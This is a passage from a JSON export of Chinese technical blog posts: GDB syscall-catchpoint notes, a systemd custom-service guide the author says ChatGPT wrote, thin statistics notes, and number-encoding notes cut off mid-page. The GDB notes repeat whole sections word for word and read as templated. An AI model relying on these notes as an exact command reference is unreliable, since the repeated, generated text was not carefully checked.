href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C\" class=\"headerlink\" title=\"调试追踪文件操作\"\u003e\u003c/a\u003e调试追踪文件操作\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪文件操作,可以使用\u003ccode\u003ecatch syscall open\u003c/code\u003e设置open系统调用断点,使用\u003ccode\u003ecatch syscall close\u003c/code\u003e设置close系统调用断点,使用\u003ccode\u003ecatch syscall read\u003c/code\u003e设置read系统调用断点,使用\u003ccode\u003ecatch syscall write\u003c/code\u003e设置write系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看文件操作断点。\u003c/p\u003e\u003ch3 id=\"调试追踪网络操作\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E7%BD%91%E7%BB%9C%E6%93%8D%E4%BD%9C\" class=\"headerlink\" title=\"调试追踪网络操作\"\u003e\u003c/a\u003e调试追踪网络操作\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪网络操作,可以使用\u003ccode\u003ecatch syscall socket\u003c/code\u003e设置socket系统调用断点,使用\u003ccode\u003ecatch syscall connect\u003c/code\u003e设置connect系统调用断点,使用\u003ccode\u003ecatch syscall accept\u003c/code\u003e设置accept系统调用断点,使用\u003ccode\u003ecatch syscall send\u003c/code\u003e设置send系统调用断点,使用\u003ccode\u003ecatch syscall recv\u003c/code\u003e设置recv系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看网络操作断点。\u003c/p\u003e\u003ch3 id=\"调试追踪信号量和共享内存\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7%E9%87%8F%E5%92%8C%E5%85%B1%E4%BA%AB%E5%86%85%E5%AD%98\" class=\"headerlink\" title=\"调试追踪信号量和共享内存\"\u003e\u003c/a\u003e调试追踪信号量和共享内存\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号量和共享内存,可以使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号量和共享内存断点。\u003c/p\u003e\u003ch3 id=\"调试追踪进程间通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E8%BF%9B%E7%A8%8B%E9%97%B4%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"调试追踪进程间通信\"\u003e\u003c/a\u003e调试追踪进程间通信\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪进程间通信,可以使用\u003ccode\u003ecatch syscall msgget\u003c/code\u003e设置msgget系统调用断点,使用\u003ccode\u003ecatch syscall msgsnd\u003c/code\u003e设置msgsnd系统调用断点,使用\u003ccode\u003ecatch syscall msgrcv\u003c/code\u003e设置msgrcv系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看进程间通信断点。\u003c/p\u003e\u003ch3 id=\"调试追踪信号处理\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7%E5%A4%84%E7%90%86\" class=\"headerlink\" title=\"调试追踪信号处理\"\u003e\u003c/a\u003e调试追踪信号处理\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号处理,可以使用\u003ccode\u003ecatch syscall sigaction\u003c/code\u003e设置sigaction系统调用断点,使用\u003ccode\u003ecatch syscall sigprocmask\u003c/code\u003e设置sigprocmask系统调用断点,使用\u003ccode\u003ecatch syscall sigsuspend\u003c/code\u003e设置sigsuspend系统调用断点,使用\u003ccode\u003ecatch syscall sigreturn\u003c/code\u003e设置sigreturn系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号处理断点。\u003c/p\u003e\u003ch3 id=\"调试追踪定时器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E5%AE%9A%E6%97%B6%E5%99%A8\" class=\"headerlink\" title=\"调试追踪定时器\"\u003e\u003c/a\u003e调试追踪定时器\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪定时器,可以使用\u003ccode\u003ecatch syscall timer_create\u003c/code\u003e设置timer_create系统调用断点,使用\u003ccode\u003ecatch syscall timer_settime\u003c/code\u003e设置timer_settime系统调用断点,使用\u003ccode\u003ecatch syscall timer_gettime\u003c/code\u003e设置timer_gettime系统调用断点,使用\u003ccode\u003ecatch syscall timer_delete\u003c/code\u003e设置timer_delete系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看定时器断点。\u003c/p\u003e\u003ch3 id=\"调试追踪进程状态\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E8%BF%9B%E7%A8%8B%E7%8A%B6%E6%80%81\" class=\"headerlink\" title=\"调试追踪进程状态\"\u003e\u003c/a\u003e调试追踪进程状态\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪进程状态,可以使用\u003ccode\u003ecatch syscall wait4\u003c/code\u003e设置wait4系统调用断点,使用\u003ccode\u003ecatch syscall waitpid\u003c/code\u003e设置waitpid系统调用断点,使用\u003ccode\u003ecatch syscall waitid\u003c/code\u003e设置waitid系统调用断点,使用\u003ccode\u003ecatch syscall exit\u003c/code\u003e设置exit系统调用断点,使用\u003ccode\u003ecatch syscall _exit\u003c/code\u003e设置_exit系统调用断点,使用\u003ccode\u003ecatch syscall kill\u003c/code\u003e设置kill系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看进程状态断点。\u003c/p\u003e\u003ch3 id=\"调试追踪信号量和共享内存-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7%E9%87%8F%E5%92%8C%E5%85%B1%E4%BA%AB%E5%86%85%E5%AD%98-1\" class=\"headerlink\" title=\"调试追踪信号量和共享内存\"\u003e\u003c/a\u003e调试追踪信号量和共享内存\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号量和共享内存,可以使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号量和共享内存断点。\u003c/p\u003e\u003ch3 id=\"调试追踪进程间通信-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E8%BF%9B%E7%A8%8B%E9%97%B4%E9%80%9A%E4%BF%A1-1\" class=\"headerlink\" title=\"调试追踪进程间通信\"\u003e\u003c/a\u003e调试追踪进程间通信\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪进程间通信,可以使用\u003ccode\u003ecatch syscall msgget\u003c/code\u003e设置msgget系统调用断点,使用\u003ccode\u003ecatch syscall msgsnd\u003c/code\u003e设置msgsnd系统调用断点,使用\u003ccode\u003ecatch syscall msgrcv\u003c/code\u003e设置msgrcv系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看进程间通信断点。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"Linux添加自定义服务","time":"2023-03-13T13:06:51Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e本文由chatGPT生成,看了下没啥问题\u003cbr/\u003e别问为啥不自己写,问就是懒(\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在Linux中,您可以通过添加自定义服务文件来将自定义脚本作为服务启动。下面是添加自定义服务文件的一般步骤:\u003c/p\u003e\u003col\u003e\u003cli\u003e创建一个新的服务文件\u003cbr/\u003e在/etc/systemd/system目录中创建一个新的服务文件,文件名以.service结尾。例如,如果您想创建一个名为my-service的服务文件,可以使用以下命令:\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo vi /etc/systemd/system/my-service.service\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e编写服务文件\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e在创建的服务文件中,至少需要包含以下三个部分:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e[Unit]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDescription=My Custom Service\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAfter=network.target\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[Service]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUser=root\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eType=simple\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eExecStart=/path/to/my-script\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[Install]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWantedBy=multi-user.target\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003cstrong\u003eUnit\u003c/strong\u003e部分包含服务的描述和启动顺序,\u003cstrong\u003eService\u003c/strong\u003e部分包含服务的用户、类型和执行命令,\u003cstrong\u003eInstall\u003c/strong\u003e部分包含服务的安装目标。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e重新加载systemd配置\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e在编辑完服务文件后,需要重新加载systemd配置,以便它能够识别新的服务文件。可以使用以下命令重新加载systemd配置:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl daemon-reload\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"4\"\u003e\u003cli\u003e启动服务\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e您可以使用以下命令启动新创建的服务:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl start my-service\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"5\"\u003e\u003cli\u003e将服务设置为开机启动\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e如果您希望系统在启动时自动启动新创建的服务,可以使用以下命令将其设置为开机启动:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl \u003cspan class=\"built_in\"\u003eenable\u003c/span\u003e my-service\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在,您已经成功添加了一个新的自定义服务,并且可以随时使用systemd管理该服务。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/03/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux%E6%B7%BB%E5%8A%A0%E8%87%AA%E5%AE%9A%E4%B9%89%E6%9C%8D%E5%8A%A1/"},{"title":"第五章:数理统计初步","time":"2023-02-21T09:15:55Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e这研究的是总体和来自总体的任意一组样本的关系。例如,如何通过样本估算总体的统计量这样的问题,就可以通过数理统计解决。\u003c/p\u003e\u003ch2 id=\"基本概念和定义\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%E5%92%8C%E5%AE%9A%E4%B9%89\" class=\"headerlink\" title=\"基本概念和定义\"\u003e\u003c/a\u003e基本概念和定义\u003c/h2\u003e\u003ch2 id=\"抽样分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E6%8A%BD%E6%A0%B7%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"抽样分布\"\u003e\u003c/a\u003e抽样分布\u003c/h2\u003e\u003cp\u003e就是统计量的分布,一共有四种。\u003c/p\u003e\u003ch2 id=\"参数估计\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E5%8F%82%E6%95%B0%E4%BC%B0%E8%AE%A1\" class=\"headerlink\" title=\"参数估计\"\u003e\u003c/a\u003e参数估计\u003c/h2\u003e\u003ch3 id=\"点估计\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E7%82%B9%E4%BC%B0%E8%AE%A1\" class=\"headerlink\" title=\"点估计\"\u003e\u003c/a\u003e点估计\u003c/h3\u003e\u003cp\u003e就是通过总体的一个样本估计总体分布中未知参数值的问题。\u003c/p\u003e\u003ch4 id=\"矩估计法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E7%9F%A9%E4%BC%B0%E8%AE%A1%E6%B3%95\" class=\"headerlink\" title=\"矩估计法\"\u003e\u003c/a\u003e矩估计法\u003c/h4\u003e\u003cp\u003e就是用样本n阶矩估计的方法。\u003c/p\u003e\u003ch4 id=\"最大似然估计法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E6%9C%80%E5%A4%A7%E4%BC%BC%E7%84%B6%E4%BC%B0%E8%AE%A1%E6%B3%95\" class=\"headerlink\" title=\"最大似然估计法\"\u003e\u003c/a\u003e最大似然估计法\u003c/h4\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/"},{"title":"计组笔记:第二章-计算机数据表示","time":"2023-02-13T04:52:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e重点是定点数和浮点数的表示。数制啥的就不说了,主要还有原码补码反码这几个。\u003cstrong\u003e下面的讨论都是对于二进制数而言的\u003c/strong\u003e,因为计算机存储的结构以二进制保存原始值。\u003c/p\u003e\u003ch2 id=\"定点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%AE%9A%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"定点数\"\u003e\u003c/a\u003e定点数\u003c/h2\u003e\u003cp\u003e也就是小数点位置不动的数。有两种,纯整数(小数点在最右侧)、纯小数(小数点在最左侧)。分为有/无符号数,前者具有\u003ccode\u003e原码、反码、补码、移码\u003c/code\u003e四种编码表示。\u003c/p\u003e\u003cp\u003e有符号数的最高位为符号位,\u003ccode\u003e0正1负\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"原码反码和补码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%8E%9F%E7%A0%81%E5%8F%8D%E7%A0%81%E5%92%8C%E8%A1%A5%E7%A0%81\" class=\"headerlink\" title=\"原码反码和补码\"\u003e\u003c/a\u003e原码反码和补码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e原码:正数是其二进制本身;负数是符号位为1,数值部分取X绝对值的二进制。\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e反码:正数的反码和原码相同;负数是符号位为1,其它位是原码取反。\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e补码:正数的补码和原码,反码相同;负数是符号位为1,其它位是原码取反,未位加1。(或者说负数的补码是其绝对值反码未位加1)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e移码:将符号位取反的补码(不区分正负)\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e补码为什么是反码加1?因为它的目的就是为了把减法运算变成加法运算。用表举例子,加上8小时就等于减去4小时(从位置上来看)。二进制也是一样,比如4位二进制数,它的模值就是16,也就是10000。因此,一个数的补就是10000减去这个数,也就是这个数的反码再加1。\u003c/p\u003e\u003ch4 id=\"补码加减法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E8%A1%A5%E7%A0%81%E5%8A%A0%E5%87%8F%E6%B3%95\" class=\"headerlink\" title=\"补码加减法\"\u003e\u003c/a\u003e补码加减法\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e在做补码加减法时,只需将符号位和数值部分一起参与运算,并且将符号位产生的进位丢掉即可\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e补码加法公式\u003cbr/\u003e  [X+Y]补 = [X]补 + [Y]补\u003c/li\u003e\u003cli\u003e补码减法公式\u003cbr/\u003e  [X-Y]补 = [X]补-[Y]补 = [X]补 + [-Y]补\u003cbr/\u003e其中:[-Y]补称为负补,求负补的办法是:对补码的每一位(包括符合位)求反,且未位加1.\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"浮点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"浮点数\"\u003e\u003c/a\u003e浮点数\u003c/h2\u003e\u003cp\u003e类似科学计数法的表示法:$F=M\\times 2^E$,$M$称为尾数,$E$称为阶码。\u003c/p\u003e\u003cp\u003e计算机中常见的浮点数存储方式为:\u003ccode\u003e数符 阶符 阶码数值部分 尾数数值部分\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"编码表示\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E7%BC%96%E7%A0%81%E8%A1%A8%E7%A4%BA\" 